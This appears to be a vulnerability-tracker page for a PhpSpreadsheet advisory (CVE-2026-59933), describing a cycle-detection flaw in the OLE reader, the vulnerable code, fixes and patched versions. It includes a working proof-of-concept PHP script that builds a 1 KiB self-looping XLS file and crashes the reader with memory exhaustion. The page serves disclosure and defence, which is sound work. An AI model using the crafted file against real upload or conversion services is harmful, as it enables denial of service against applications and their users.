CVE-2026-59933High· 7.5▾ TwilightPHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 29.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.7%
PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.
This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.
OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:
src/PhpSpreadsheet/Shared/OLERead.php:82 reads the entire file after validating only the OLE magic.src/PhpSpreadsheet/Shared/OLERead.php:84-97 reads sector-chain metadata from the file header.src/PhpSpreadsheet/Shared/OLERead.php:132-146 builds bigBlockChain and then follows the small-block depot chain.The vulnerable loop is:
$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
$pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;
$this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
$pos += 4 * $bbs;
$sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}
There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.
The issue is reachable during normal reader detection/loading:
src/PhpSpreadsheet/Reader/XlsBase.php:153-165 calls OLERead::read() from canRead().src/PhpSpreadsheet/Reader/Xls.php:376-383 calls OLERead::read() from loadOLE().src/PhpSpreadsheet/IOFactory.php:181-213 calls canRead() while creating a reader for a file, so automatic format detection can trigger the issue.Similar unbounded sector-chain walks exist later in stream reading:
src/PhpSpreadsheet/Shared/OLERead.php:175-180src/PhpSpreadsheet/Shared/OLERead.php:198-202src/PhpSpreadsheet/Shared/OLERead.php:218-222The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.
A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.
The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.
This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.
docker run --rm --network none -i \
-v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
-w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9)); // sector size 512
$set(32, pack("v", 6)); // mini sector size 64
$set(44, pack("l", 1)); // 1 SAT sector
$set(48, pack("l", 0)); // directory first sector 0
$set(56, pack("l", 4096)); // mini stream cutoff
$set(60, pack("l", 0)); // SSAT first sector 0
$set(64, pack("l", 1)); // one SSAT sector
$set(68, pack("l", -2)); // no MSAT extension
$set(72, pack("l", 0)); // no extension sectors
$set(76, pack("l", 0)); // DIFAT says SAT is sector 0
$set(512, pack("l", 0)); // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH
Observed output:
ole_size=1024
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP 1. {main}() Command line code:0
PHP 2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP 3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164
$this->data, $this->bigBlockChain, or $this->smallBlockChain;Reader\Exception for malformed OLE chains.readData().phpoffice/phpspreadsheet >= 4.0.0, <= 5.8.0phpoffice/phpspreadsheet >= 3.3.0, <= 3.10.6phpoffice/phpspreadsheet >= 2.2.0, <= 2.4.6phpoffice/phpspreadsheet >= 2.0.0, <= 2.1.17phpoffice/phpspreadsheet <= 1.30.5Upgrade to a patched release:
phpoffice/phpspreadsheet 5.8.1phpoffice/phpspreadsheet 3.10.7phpoffice/phpspreadsheet 2.4.7phpoffice/phpspreadsheet 2.1.18phpoffice/phpspreadsheet 1.30.6Connected by shared product, vendor, weakness, or advisory.
CVE-2026-59932High· 7.5PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
CVE-2026-59931High· 7.7PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
CVE-2026-45034CriticalPHPSpreadsheet has a patch bypass for CVE-2026-34084
CVE-2026-34282High· 7.5Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking)
CVE-2020-3563High· 8.6A vulnerability in the packet processing functionality of Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device
CVE-2020-3554High· 7.5A vulnerability in the TCP packet processing of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) conditi…